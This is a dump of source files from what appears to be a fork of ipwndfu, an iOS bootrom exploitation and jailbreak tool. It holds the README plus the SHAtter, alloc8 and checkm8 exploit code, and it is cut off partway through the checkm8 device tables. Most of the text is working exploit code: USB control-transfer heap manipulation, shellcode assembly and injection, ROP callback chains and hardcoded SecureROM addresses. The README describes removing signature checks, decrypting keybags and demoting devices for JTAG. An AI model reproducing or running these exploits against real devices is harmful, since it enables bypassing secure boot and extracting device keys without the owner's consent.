	arm-none-eabi-as -mthumb --fatal-warnings -o bin/24Kpwn-shellcode.o src/24Kpwn-shellcode.S
	arm-none-eabi-objcopy -O binary bin/24Kpwn-shellcode.o bin/24Kpwn-shellcode.bin
	rm bin/24Kpwn-shellcode.o

	arm-none-eabi-as -mthumb --fatal-warnings -o bin/alloc8-shellcode.o src/alloc8-shellcode.S
	arm-none-eabi-objcopy -O binary bin/alloc8-shellcode.o bin/alloc8-shellcode.bin
	rm bin/alloc8-shellcode.o

	arm-none-eabi-as -mthumb --fatal-warnings -o bin/ibss-flash-nor-shellcode.o src/ibss-flash-nor-shellcode.S
	arm-none-eabi-objcopy -O binary bin/ibss-flash-nor-shellcode.o bin/ibss-flash-nor-shellcode.bin
	rm bin/ibss-flash-nor-shellcode.o

	arm-none-eabi-as -mthumb --fatal-warnings -o bin/usb_0xA1_2_armv7.o src/usb_0xA1_2_armv7.S
	arm-none-eabi-objcopy -O binary bin/usb_0xA1_2_armv7.o bin/usb_0xA1_2_armv7.bin
	rm bin/usb_0xA1_2_armv7.o

	arm-none-eabi-as -mthumb --fatal-warnings -o bin/checkm8_armv7.o src/checkm8_armv7.S
	arm-none-eabi-objcopy -O binary bin/checkm8_armv7.o bin/checkm8_armv7.bin
	rm bin/checkm8_armv7.o

arm64:
	xcrun -sdk iphoneos clang src/usb_0xA1_2_arm64.S -target arm64-apple-darwin -Wall -o bin/usb_0xA1_2_arm64.o
	gobjcopy -O binary -j .text bin/usb_0xA1_2_arm64.o bin/usb_0xA1_2_arm64.bin
	rm bin/usb_0xA1_2_arm64.o

	xcrun -sdk iphoneos clang src/checkm8_arm64.S -target arm64-apple-darwin -Wall -o bin/checkm8_arm64.o
	gobjcopy -O binary -j .text bin/checkm8_arm64.o bin/checkm8_arm64.bin
	rm bin/checkm8_arm64.o

	xcrun -sdk iphoneos clang src/t8010_t8011_disable_wxn_arm64.S -target arm64-apple-darwin -Wall -o bin/t8010_t8011_disable_wxn_arm64.o
	gobjcopy -O binary -j .text bin/t8010_t8011_disable_wxn_arm64.o bin/t8010_t8011_disable_wxn_arm64.bin
	rm bin/t8010_t8011_disable_wxn_arm64.o


================================================
FILE: README.md
================================================
![](repo/ipwndfu.png)
# Open-source jailbreaking tool for many iOS devices


**Read [disclaimer](#disclaimer) before using this software.*

## About this fork

* This fork allows you to load img4 images (e.g. iBSS/LLB) in pwned DFU mode.

* Also supports loading of unsigned img4 images. Run "python rmsigchks.py" to remove signature checks.

* Supports s5l8960x (iPhone 5s) and - new - t8011 (iPad Pro 2017).

* **IMPORTANT:** Other devices are currently **NOT SUPPORTED**.

## checkm8

* permanent unpatchable bootrom exploit for hundreds of millions of iOS devices

* meant for researchers, this is not a jailbreak with Cydia yet

* allows dumping SecureROM, decrypting keybags for iOS firmware, and demoting device for JTAG

* current SoC support: s5l8947x, s5l8950x, s5l8955x, s5l8960x, t8002, t8004, t8010, t8011, t8015

* future SoC support: s5l8940x, s5l8942x, s5l8945x, s5l8747x, t7000, t7001, s7002, s8000, s8001, s8003, t8012

* full jailbreak with Cydia on latest iOS version is possible, but requires additional work


## Quick start guide for checkm8

1. Use a cable to connect device to your Mac. Hold buttons as needed to enter DFU Mode.

2. First run ```./ipwndfu -p``` to exploit the device. Repeat the process if it fails, it is not reliable.

3. Run ```./ipwndfu --dump-rom``` to get a dump of SecureROM.

4. Run ```./ipwndfu --decrypt-gid KEYBAG``` to decrypt a keybag.

5. Run ```./ipwndfu --demote``` to demote device and enable JTAG.


## Features

* Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit. :-)

* Pwned DFU Mode with steaks4uce exploit for S5L8720 devices.

* Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922 devices.

* Pwned DFU Mode with SHAtter exploit for S5L8930 devices.

* Dump SecureROM on S5L8920/S5L8922/S5L8930 devices.

* Dump NOR on S5L8920 devices.

* Flash NOR on S5L8920 devices.

* Encrypt or decrypt hex data on a connected device in pwned DFU Mode using its GID or UID key.


## Dependencies

This tool should be compatible with Mac and Linux. It won't work in a virtual machine.

* libusb, `If you are using Linux: install libusb using your package manager.`
* [iPhone 3GS iOS 4.3.5 iBSS](#ibss)


## Tutorial

This tool can be used to downgrade or jailbreak iPhone 3GS (new bootrom) without SHSH blobs, as documented in [JAILBREAK-GUIDE](https://github.com/axi0mX/ipwndfu/blob/master/JAILBREAK-GUIDE.md).


## Exploit write-up

Write-up for alloc8 exploit can be found here:

https://github.com/axi0mX/alloc8


## iBSS

Download iPhone 3GS iOS 4.3.5 IPSW from Apple:

http://appldnld.apple.com/iPhone4/041-1965.20110721.gxUB5/iPhone2,1_4.3.5_8L1_Restore.ipsw

In Terminal, extract iBSS using the following command, then move the file to ipwndfu folder:

```
unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3
```


## Coming soon!

* Reorganize and refactor code.

* Easier setup: download iBSS automatically using partial zip.

* Dump SecureROM on S5L8720 devices.

* Install custom boot logos on devices jailbroken with 24Kpwn and alloc8.

* Enable verbose boot on devices jailbroken with 24Kpwn and alloc8.

## Disclaimer

**This is BETA software.**

Backup your data.

This tool is currently in beta and could potentially brick your device. It will attempt to save a copy of data in NOR to nor-backups folder before flashing new data to NOR, and it will attempt to not overwrite critical data in NOR which your device requires to function. If something goes wrong, hopefully you will be able to restore to latest IPSW in iTunes and bring your device back to life, or use nor-backups to restore NOR to the original state, but I cannot provide any guarantees.

**There is NO warranty provided.**

THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

## Toolchain

You will not need to use `make` or compile anything to use ipwndfu. However, if you wish to make changes to assembly code in `src/*`, you will need to use an ARM toolchain and assemble the source files by running `make`.

If you are using macOS with Homebrew, you can use binutils and gcc-arm-embedded. You can install them with these commands:

```
brew install binutils
brew cask install https://raw.githubusercontent.com/Homebrew/homebrew-cask/b88346667547cc85f8f2cacb3dfe7b754c8afc8a/Casks/gcc-arm-embedded.rb
```

## Credit

geohot for limera1n exploit

posixninja and pod2g for SHAtter exploit

chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. for 24Kpwn exploit

pod2g for steaks4uce exploit

walac for pyusb


================================================
FILE: SHAtter.py
================================================
# Credit: This file is based on SHAtter exploit (segment overflow) by posixninja and pod2g.

import struct, sys, time
import dfu

def generate_payload():
    shellcode_address = 0x8402F198 + 1
    data = struct.pack('<40sI', '\xF0' * 40, shellcode_address)
    tags = data + struct.pack('<4s2I4s2I', 'SHSH'[::-1], 12, 0, 'CERT'[::-1], 12, 0)
    header = struct.pack('<4s3I4s', 'Img3'[::-1], 20 + len(tags), len(tags), len(data), 'ibss'[::-1])
    with open('bin/SHAtter-shellcode.bin', 'rb') as f:
        shellcode = f.read()
    assert len(shellcode) <= 1024
    return header + tags + shellcode

def exploit():
    print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***'

    device = dfu.acquire_device()
    print 'Found:', device.serial_number

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    if 'CPID:8930' not in device.serial_number:
        print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.'
        sys.exit(1)

    if 'SRTG:[iBoot-574.4]' not in device.serial_number:
        print 'ERROR: CPID is compatible, but serial number string does not match.'
        print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
        sys.exit(1)

    dfu.reset_counters(device)
    dfu.get_data(device, 0x40)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.get_data(device, 0x2C000)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    dfu.reset_counters(device)
    dfu.get_data(device, 0x140)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.send_data(device, generate_payload())
    dfu.get_data(device, 0x2C000)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    failed = 'PWND:[SHAtter]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)

    print 'Device is now in pwned DFU Mode.'


================================================
FILE: alloc8.py
================================================
import copy, struct, sys

alloc8_constants_359_3 = [
    0x84034000, #  1 - MAIN_STACK_ADDRESS
         0x544, #  2 - clean_invalidate_data_cache
    0x84024020, #  3 - gNorImg3List
        0x1ccd, #  4 - free
        0x3ca1, #  5 - exit_critical_section
        0x451d, #  6 - home_button_pressed
        0x450d, #  7 - power_button_pressed
        0x44e1, #  8 - cable_connected
    0x696c6c62, #  9 - ILLB_MAGIC
        0x1f6f, # 10 - get_nor_image
    0x84000000, # 11 - LOAD_ADDRESS
       0x24000, # 12 - MAX_SIZE
        0x3969, # 13 - jump_to
        0x38a1, # 14 - usb_create_serial_number_string
        0x8e7d, # 15 - strlcat
        0x349d, # 16 - usb_wait_for_image
    0x84024228, # 17 - gLeakingDFUBuffer
    0x65786563, # 18 - EXEC_MAGIC
        0x1f79, # 19 - memz_create
        0x1fa1, # 20 - memz_destroy
    0x696d6733, # 21 - IMG3_STRUCT_MAGIC
    0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
        0x1fe5, # 23 - image3_create_struct
        0x2655, # 24 - image3_load_continue
        0x277b, # 25 - image3_load_fail
]

alloc8_constants_359_3_2 = [
    0x84034000, #  1 - MAIN_STACK_ADDRESS
         0x544, #  2 - clean_invalidate_data_cache
    0x84024020, #  3 - gNorImg3List
        0x1ccd, #  4 - free
        0x3ca9, #  5 - exit_critical_section
        0x4525, #  6 - home_button_pressed
        0x4515, #  7 - power_button_pressed
        0x44e9, #  8 - cable_connected
    0x696c6c62, #  9 - ILLB_MAGIC
        0x1f77, # 10 - get_nor_image
    0x84000000, # 11 - LOAD_ADDRESS
       0x24000, # 12 - MAX_SIZE
        0x3971, # 13 - jump_to
        0x38a9, # 14 - usb_create_serial_number_string
        0x8e85, # 15 - strlcat
        0x34a5, # 16 - usb_wait_for_image
    0x84024228, # 17 - gLeakingDFUBuffer
    0x65786563, # 18 - EXEC_MAGIC
        0x1f81, # 19 - memz_create
        0x1fa9, # 20 - memz_destroy
    0x696d6733, # 21 - IMG3_STRUCT_MAGIC
    0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
        0x1fed, # 23 - image3_create_struct
        0x265d, # 24 - image3_load_continue
        0x2783, # 25 - image3_load_fail
]

def empty_img3(size):
	assert size >= 20
	return struct.pack('<4s3I4s', 'Img3'[::-1], size, 0, 0, 'zero'[::-1]) + '\x00' * (size - 20)

def exploit(nor, version):
	if version == '359.3':
	    constants = alloc8_constants_359_3
	    exceptions = [0x5620, 0x5630]
	elif version == '359.3.2':
	    constants = alloc8_constants_359_3_2
	    exceptions = [0x5628, 0x5638]
	else:
	    print 'ERROR: SecureROM version %s is not supported by alloc8.' % version
	    sys.exit(1)

	for c in nor.parts[1]:
		assert c == '\x00'
	assert len(nor.images) < 32

	MAX_SHELLCODE_LENGTH = 460
	with open('bin/alloc8-shellcode.bin', 'rb') as f:
		shellcode = f.read()
	assert len(shellcode) <= MAX_SHELLCODE_LENGTH

	# Shellcode has placeholder values for constants; check they match and replace with constants from config.
	placeholders_offset = len(shellcode) - 4 * len(constants)
	for i in range(len(constants)):
	    offset = placeholders_offset + 4 * i
	    (value,) = struct.unpack('<I', shellcode[offset:offset + 4])
	    assert value == 0xBAD00001 + i

	new_nor = copy.deepcopy(nor)
	new_nor.parts[1] = shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants) + '\x00' * (MAX_SHELLCODE_LENGTH - len(shellcode))

	while len(new_nor.images) < 713:
	   new_nor.images.append(empty_img3(new_nor.block_size))

	# Image no. 714 must end at the end of the 4096-byte block.
	NOR_READ_SIZE = 4096
	offset = 0
	for image in new_nor.images:
		offset += len(image)
	size = NOR_READ_SIZE - offset % NOR_READ_SIZE
	new_nor.images.append(empty_img3(size))

	# This image is copied to address 0x8. SHELLCODE_ADDRESS overrides the data abort exception handler.
	SHELLCODE_ADDRESS = 0x84026214 + 1
	new_nor.images.append(empty_img3(52)[:40] + struct.pack('<4I', SHELLCODE_ADDRESS, 0, *exceptions))

	return new_nor

def remove_exploit(nor):
    assert len(nor.images) >= 700

    new_nor = copy.deepcopy(nor)

    new_images = []
    for image in new_nor.images:
        assert len(image) >= 20
        if image[16:20] != 'zero'[::-1]:
            new_images.append(image)
    assert len(new_images) < 32

    new_nor.images = new_images
    new_nor.parts[1] = '\x00' * 460

    return new_nor


================================================
FILE: checkm8.py
================================================
import array, ctypes, struct, sys, time
import usb
import dfu

# Must be global so garbage collector never frees it
request = None
transfer_ptr = None
never_free_device = None

def libusb1_create_ctrl_transfer(device, request, timeout):
  ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)
  assert ptr is not None

  transfer = ptr.contents
  transfer.dev_handle = device._ctx.handle.handle
  transfer.endpoint = 0 # EP0
  transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL
  transfer.timeout = timeout
  transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer
  transfer.length = len(request)
  transfer.user_data = None
  transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL
  transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER

  return ptr

def libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):
  if usb.backend.libusb1._lib is not device._ctx.backend.lib:
    print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'
    sys.exit(1)

  global request, transfer_ptr, never_free_device
  request_timeout = int(timeout) if timeout >= 1 else 0
  start = time.time()
  never_free_device = device
  request = array.array('B', struct.pack('<BBHHH', bmRequestType, bRequest, wValue, wIndex, len(data)) + data)
  transfer_ptr = libusb1_create_ctrl_transfer(device, request, request_timeout)
  assert usb.backend.libusb1._lib.libusb_submit_transfer(transfer_ptr) == 0

  while time.time() - start < timeout / 1000.0:
    pass

  # Prototype of libusb_cancel_transfer is missing from pyusb
  usb.backend.libusb1._lib.libusb_cancel_transfer.argtypes = [ctypes.POINTER(usb.backend.libusb1._libusb_transfer)]
  assert usb.backend.libusb1._lib.libusb_cancel_transfer(transfer_ptr) == 0

def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
  try:
    device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
  except usb.core.USBError:
    pass

def usb_rop_callbacks(address, func_gadget, callbacks):
  data = ''
  for i in range(0, len(callbacks), 5):
    block1 = ''
    block2 = ''
    for j in range(5):
      address += 0x10
      if j == 4:
        address += 0x50
      if i + j < len(callbacks) - 1:
        block1 += struct.pack('<2Q', func_gadget, address)
        block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
      elif i + j == len(callbacks) - 1:
        block1 += struct.pack('<2Q', func_gadget, 0)
        block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
      else:
        block1 += struct.pack('<2Q', 0, 0)
    data += block1 + block2
  return data

# TODO: assert we are within limits
def asm_arm64_branch(src, dest):
  if src > dest:
    value = 0x18000000 - (src - dest) / 4
  else:
    value = 0x14000000 + (dest - src) / 4
  return struct.pack('<I', value)

# TODO: check if start offset % 4 would break it
# LDR X7, [PC, #OFFSET]; BR X7
def asm_arm64_x7_trampoline(dest):
  return '47000058E0001FD6'.decode('hex') + struct.pack('<Q', dest)

# THUMB +0 [0xF000F8DF, ADDR]  LDR.W   PC, [PC]
# THUMB +2 [0xF002F8DF, ADDR]  LDR.W   PC, [PC, #2]
def asm_thumb_trampoline(src, dest):
  assert src % 2 == 1 and dest % 2 == 1
  if src % 4 == 1:
    return struct.pack('<2I', 0xF000F8DF, dest)
  else:
    return struct.pack('<2I', 0xF002F8DF, dest)

def prepare_shellcode(name, constants=[]):
  if name.endswith('_armv7'):
    fmt = '<%sI'
    size = 4
  elif name.endswith('_arm64'):
    fmt = '<%sQ'
    size = 8
  else:
    print 'ERROR: Shellcode name "%s" does not end with known architecture. Exiting.' % name
    sys.exit(1)

  with open('bin/%s.bin' % name, 'rb') as f:
    shellcode = f.read()

  # Shellcode has placeholder values for constants; check they match and replace with constants from config
  placeholders_offset = len(shellcode) - size * len(constants)
  for i in range(len(constants)):
      offset = placeholders_offset + size * i
      (value,) = struct.unpack(fmt % '1', shellcode[offset:offset + size])
      assert value == 0xBAD00001 + i

  return shellcode[:placeholders_offset] + struct.pack(fmt % len(constants), *constants)

def stall(device):   libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)

def usb_req_stall(device):   libusb1_no_error_ctrl_transfer(device,  0x2, 3,   0x0,  0x80,  0x0, 10)
def usb_req_leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40,  1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41,  1)

class DeviceConfig:
  def __init__(self, version, cpid, large_leak, overwrite, overwrite_offset, hole, leak):
    assert len(overwrite) <= 0x800
    self.version          = version
    self.cpid             = cpid
    self.large_leak       = large_leak
    self.overwrite        = overwrite
    self.overwrite_offset = overwrite_offset
    self.hole             = hole
    self.leak             = leak

PAYLOAD_OFFSET_ARMV7 = 384
PAYLOAD_SIZE_ARMV7   = 320
PAYLOAD_OFFSET_ARM64 = 384
PAYLOAD_SIZE_ARM64   = 576

def payload(cpid):
  if cpid == 0x8947:
    constants_usb_s5l8947x = [
                0x34000000, # 1 - LOAD_ADDRESS
                0x65786563, # 2 - EXEC_MAGIC
                0x646F6E65, # 3 - DONE_MAGIC
                0x6D656D63, # 4 - MEMC_MAGIC
                0x6D656D73, # 5 - MEMS_MAGIC
                  0x79EC+1, # 6 - USB_CORE_DO_IO
    ]
    constants_checkm8_s5l8947x = [
                0x3402D87C, # 1 - gUSBDescriptors
                0x3402DDF8, # 2 - gUSBSerialNumber
                  0x72A8+1, # 3 - usb_create_string_descriptor
                0x3402C2DA, # 4 - gUSBSRNMStringDescriptor
                0x34039800, # 5 - PAYLOAD_DEST
      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
                0x3402D92C, # 8 - PAYLOAD_PTR
    ]
    s5l8947x_handler = asm_thumb_trampoline(0x34039800+1, 0x7BC8+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8947x)[8:]
    s5l8947x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8947x)
    assert len(s5l8947x_shellcode) <= PAYLOAD_OFFSET_ARMV7
    assert len(s5l8947x_handler) <= PAYLOAD_SIZE_ARMV7
    return s5l8947x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8947x_shellcode)) + s5l8947x_handler
  if cpid == 0x8950:
    constants_usb_s5l8950x = [
                0x10000000, # 1 - LOAD_ADDRESS
                0x65786563, # 2 - EXEC_MAGIC
                0x646F6E65, # 3 - DONE_MAGIC
                0x6D656D63, # 4 - MEMC_MAGIC
                0x6D656D73, # 5 - MEMS_MAGIC
                  0x7620+1, # 6 - USB_CORE_DO_IO
    ]
    constants_checkm8_s5l8950x = [
                0x10061988, # 1 - gUSBDescriptors
                0x10061F80, # 2 - gUSBSerialNumber
                  0x7C54+1, # 3 - usb_create_string_descriptor
                0x100600D8, # 4 - gUSBSRNMStringDescriptor
                0x10079800, # 5 - PAYLOAD_DEST
      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
                0x10061A24, # 8 - PAYLOAD_PTR
    ]
    s5l8950x_handler   = asm_thumb_trampoline(0x10079800+1, 0x8160+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8950x)[8:]
    s5l8950x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8950x)
    assert len(s5l8950x_shellcode) <= PAYLOAD_OFFSET_ARMV7
    assert len(s5l8950x_handler) <= PAYLOAD_SIZE_ARMV7
    return s5l8950x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8950x_shellcode)) + s5l8950x_handler
  if cpid == 0x8955:
    constants_usb_s5l8955x = [
                0x10000000, # 1 - LOAD_ADDRESS
                0x65786563, # 2 - EXEC_MAGIC
                0x646F6E65, # 3 - DONE_MAGIC
                0x6D656D63, # 4 - MEMC_MAGIC
                0x6D656D73, # 5 - MEMS_MAGIC
                  0x7660+1, # 6 - USB_CORE_DO_IO
    ]
    constants_checkm8_s5l8955x = [
                0x10061988, # 1 - gUSBDescriptors
                0x10061F80, # 2 - gUSBSerialNumber
                  0x7C94+1, # 3 - usb_create_string_descriptor
                0x100600D8, # 4 - gUSBSRNMStringDescriptor
                0x10079800, # 5 - PAYLOAD_DEST
      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
                0x10061A24, # 8 - PAYLOAD_PTR
    ]
    s5l8955x_handler   = asm_thumb_trampoline(0x10079800+1, 0x81A0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8955x)[8:]
    s5l8955x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8955x)
    assert len(s5l8955x_shellcode) <= PAYLOAD_OFFSET_ARMV7
    assert len(s5l8955x_handler) <= PAYLOAD_SIZE_ARMV7
    return s5l8955x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8955x_shellcode)) + s5l8955x_handler
  if cpid == 0x8960:
    constants_usb_s5l8960x = [
               0x180380000, # 1 - LOAD_ADDRESS
        0x6578656365786563, # 2 - EXEC_MAGIC
        0x646F6E65646F6E65, # 3 - DONE_MAGIC
        0x6D656D636D656D63, # 4 - MEMC_MAGIC
        0x6D656D736D656D73, # 5 - MEMS_MAGIC
               0x10000CC78, # 6 - USB_CORE_DO_IO
    ]
    constants_checkm8_s5l8960x = [
               0x180086B58, # 1 - gUSBDescriptors
               0x180086CDC, # 2 - gUSBSerialNumber
               0x10000BFEC, # 3 - usb_create_string_descriptor
               0x180080562, # 4 - gUSBSRNMStringDescriptor
               0x18037FC00, # 5 - PAYLOAD_DEST
      PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
        PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
               0x180086C70, # 8 - PAYLOAD_PTR
    ]
    s5l8960x_handler   = asm_arm64_x7_trampoline(0x10000CFB4) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_s5l8960x)[4:]
    s5l8960x_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_s5l8960x)
    assert len(s5l8960x_shellcode) <= PAYLOAD_OFFSET_ARM64
    assert len(s5l8960x_handler) <= PAYLOAD_SIZE_ARM64
    return s5l8960x_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(s5l8960x_shellcode)) + s5l8960x_handler
  if cpid == 0x8002:
    constants_usb_t8002 = [
                0x48818000, # 1 - LOAD_ADDRESS
                0x65786563, # 2 - EXEC_MAGIC
                0x646F6E65, # 3 - DONE_MAGIC
                0x6D656D63, # 4 - MEMC_MAGIC
                0x6D656D73, # 5 - MEMS_MAGIC
                  0x9410+1, # 6 - USB_CORE_DO_IO
    ]
    constants_checkm8_t8002 = [
                0x4880629C, # 1 - gUSBDescriptors
                0x48802AB8, # 2 - gUSBSerialNumber
                  0x8CA4+1, # 3 - usb_create_string_descriptor
                0x4880037A, # 4 - gUSBSRNMStringDescriptor
                0x48806E00, # 5 - PAYLOAD_DEST
      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
                0x48806344, # 8 - PAYLOAD_PTR
    ]
    t8002_handler = asm_thumb_trampoline(0x48806E00+1, 0x95F0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8002)[8:]
    t8002_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8002)
    assert len(t8002_shellcode) <= PAYLOAD_OFFSET_ARMV7
    assert len(t8002_handler) <= PAYLOAD_SIZE_ARMV7
    return t8002_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8002_shellcode)) + t8002_handler
  if cpid == 0x8004:
    constants_usb_t8004 = [
                0x48818000, # 1 - LOAD_ADDRESS
                0x65786563, # 2 - EXEC_MAGIC
                0x646F6E65, # 3 - DONE_MAGIC
                0x6D656D63, # 4 - MEMC_MAGIC
                0x6D656D73, # 5 - MEMS_MAGIC
                  0x85A0+1, # 6 - USB_CORE_DO_IO
    ]
    constants_checkm8_t8004 = [
                0x488062DC, # 1 - gUSBDescriptors
                0x48802AE8, # 2 - gUSBSerialNumber
                  0x7E34+1, # 3 - usb_create_string_descriptor
                0x488003CA, # 4 - gUSBSRNMStringDescriptor
                0x48806E00, # 5 - PAYLOAD_DEST
      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
                0x48806384, # 8 - PAYLOAD_PTR
    ]
    t8004_handler = asm_thumb_trampoline(0x48806E00+1, 0x877C+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8004)[8:]    
    t8004_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8004)
    assert len(t8004_shellcode) <= PAYLOAD_OFFSET_ARMV7
    assert len(t8004_handler) <= PAYLOAD_SIZE_ARMV7
    return t8004_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8004_shellcode)) + t8004_handler
  if cpid == 0x8010:
    constants_usb_t8010 = [
               0x1800B0000, # 1 - LOAD_ADDRESS
        0x6578656365786563, # 2 - EXEC_MAGIC
        0x646F6E65646F6E65, # 3 - DONE_MAGIC
        0x6D656D636D656D63, # 4 - MEMC_MAGIC
        0x6D656D736D656D73, # 5 - MEMS_MAGIC
               0x10000DC98, # 6 - USB_CORE_DO_IO
    ]
    constants_checkm8_t8010 = [
               0x180088A30, # 1 - gUSBDescriptors
               0x180083CF8, # 2 - gUSBSerialNumber
               0x10000D150, # 3 - usb_create_string_descriptor
               0x1800805DA, # 4 - gUSBSRNMStringDescriptor
               0x1800AFC00, # 5 - PAYLOAD_DEST
      PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
        PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
               0x180088B48, # 8 - PAYLOAD_PTR
    ]
    t8010_func_gadget              = 0x10000CC4C
    t8010_enter_critical_section   = 0x10000A4B8
    t8010_exit_critical_section    = 0x10000A514
    t8010_dc_civac                 = 0x10000046C
    t8010_write_ttbr0              = 0x1000003E4
    t8010_tlbi                     = 0x100000434
    t8010_dmb                      = 0x100000478
    t8010_handle_interface_request = 0x10000DFB8
    t8010_callbacks = [
      (t8010_dc_civac, 0x1800B0600),
      (t8010_dmb, 0),
      (t8010_enter_critical_section, 0),
      (t8010_write_ttbr0, 0x1800B0000),
      (t8010_tlbi, 0),
      (0x1820B0610, 0),
      (t8010_write_ttbr0, 0x1800A0000),
      (t8010_tlbi, 0),
      (t8010_exit_critical_section, 0),
      (0x1800B0000, 0),
    ]
    t8010_handler = asm_arm64_x7_trampoline(t8010_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8010)[4:]
    t8010_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8010)
    assert len(t8010_shellcode) <= PAYLOAD_OFFSET_ARM64
    assert len(t8010_handler) <= PAYLOAD_SIZE_ARM64
    t8010_shellcode = t8010_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8010_shellcode)) + t8010_handler
    assert len(t8010_shellcode) <= 0x400
    return struct.pack('<1024sQ504x2Q496s32x', t8010_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks)
  if cpid == 0x8011:
    constants_usb_t8011 = [
               0x1800B0000, # 1 - LOAD_ADDRESS
        0x6578656365786563, # 2 - EXEC_MAGIC
        0x646F6E65646F6E65, # 3 - DONE_MAGIC
        0x6D656D636D656D63, # 4 - MEMC_MAGIC
        0x6D656D736D656D73, # 5 - MEMS_MAGIC
               0x10000DD64, # 6 - USB_CORE_DO_IO
    ]
    constants_checkm8_t8011 = [
               0x180088948, # 1 - gUSBDescriptors
               0x180083D28, # 2 - gUSBSerialNumber
               0x10000D234, # 3 - usb_create_string_descriptor
               0x18008062A, # 4 - gUSBSRNMStringDescriptor
               0x1800AFC00, # 5 - PAYLOAD_DEST
